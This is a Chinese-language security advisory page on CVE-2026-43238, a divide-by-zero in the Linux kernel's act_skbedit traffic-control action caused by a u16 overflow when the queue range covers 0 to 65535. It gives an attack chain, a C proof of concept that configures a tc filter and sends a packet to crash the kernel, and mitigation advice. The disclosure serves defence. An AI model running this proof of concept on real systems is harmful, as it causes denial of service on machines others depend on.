IPBUF安全漏洞报告
English
CVE-2026-43238 CVSS 5.5 中危

CVE-2026-43238 Linux内核 skbedit除零错误漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43238
漏洞类型
除零错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSDivide by Zero本地漏洞net/sched

漏洞概述

Linux内核中的net/sched/act_skbedit模块存在除零漏洞。当配置SKBEDIT动作以使用哈希选择TX队列时,计算队列映射范围大小的方式存在缺陷。如果请求的范围覆盖所有可能的u16队列ID(例如从0到U16_MAX),计算出的模数会溢出u16类型并回绕为0。这导致tcf_skbedit_hash函数执行模运算时发生除零错误,从而引发系统崩溃,影响系统可用性。

技术细节

该漏洞位于Linux内核的流量控制(tc)子系统,具体涉及`act_skbedit`动作。在`tcf_skbedit_hash()`函数中,为了根据数据包哈希值选择发送队列,需要计算映射模数`mapping_mod`。计算公式为`queue_mapping_max - queue_mapping + 1`。问题在于,当用户配置的队列范围覆盖整个u16空间(即0到65535)时,计算结果应为65536。然而,`mapping_mod`变量被定义为`u16`类型,无法存储65536,导致整数溢出,变量值变为0。后续代码执行`skb_get_hash(skb) % params->mapping_mod`时,由于除数为0,CPU触发除零异常,导致内核崩溃。攻击者只需具备本地低权限,即可通过配置特定的tc规则触发该漏洞,造成拒绝服务攻击。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限访问权限。
STEP 2
步骤2
攻击者利用CAP_NET_ADMIN权限(或通过提权获取该权限)访问流量控制工具(如tc命令)。
STEP 3
步骤3
攻击者在网络接口上配置skbedit动作,故意将queue_mapping设置为0,queue_mapping_max设置为65535(U16_MAX)。
STEP 4
步骤4
当有数据包经过该接口时,内核计算mapping_mod导致整数溢出为0。
STEP 5
步骤5
内核执行除零操作,触发异常,导致系统崩溃(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <unistd.h> /* * PoC for CVE-2026-43238 * Triggering divide-by-zero in act_skbedit * Requires CAP_NET_ADMIN capabilities (usually root) */ int main() { printf("[+] CVE-2026-43238 PoC Start\n"); // Check privileges if (geteuid() != 0) { printf("[-] Error: You must be root to run this PoC (requires tc commands).\n"); return 1; } // Setup a dummy network interface to test on printf("[*] Setting up dummy interface...\n"); system("ip link add name dummy_poc type dummy"); system("ip link set dummy_poc up"); // Add a qdisc to attach filters to printf("[*] Adding qdisc...\n"); system("tc qdisc add dev dummy_poc clsact"); /* * Add the vulnerable skbedit action. * The bug occurs when queue_mapping_max - queue_mapping + 1 > U16_MAX. * Specifically, if queue_mapping=0 and queue_mapping_max=65535, * mapping_mod becomes 65536, which wraps to 0 in u16. * This causes a divide-by-zero when processing packets. */ printf("[*] Configuring skbedit with vulnerable range (0-65535)...\n"); // Note: 'tc' syntax may require specific kernel version support for these flags char cmd[256]; snprintf(cmd, sizeof(cmd), "tc filter add dev dummy_poc ingress matchall action skbedit queue_mapping 0 queue_mapping_max 65535"); int ret = system(cmd); if (ret == 0) { printf("[+] Vulnerable rule added successfully.\n"); printf("[*] Triggering packet processing (this may crash the kernel)...\n"); // Generate traffic to trigger the tcf_skbedit_hash function // Sending a ping to the dummy interface creates skb traffic system("ping -c 1 -I dummy_poc 192.0.2.1"); printf("[*] If system didn't crash, cleaning up...\n"); } else { printf("[-] Failed to add tc rule. Kernel might not support the flags or is already patched.\n"); } // Cleanup (if not crashed) system("tc qdisc del dev dummy_poc clsact"); system("ip link delete dummy_poc"); printf("[+] PoC Finished.\n"); return 0; }

影响范围

Linux Kernel (Commit 38a6f0865796 之后)
Linux Kernel (修复补丁之前版本)

防御指南

临时缓解措施
建议用户严格限制对网络配置工具(如tc)的访问权限,防止恶意用户创建特制的流量控制规则。管理员应检查现有的tc配置,确保skbedit动作的队列映射范围未设置覆盖整个u16空间(即避免同时设置queue_mapping=0和queue_mapping_max=65535),以临时规避触发条件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表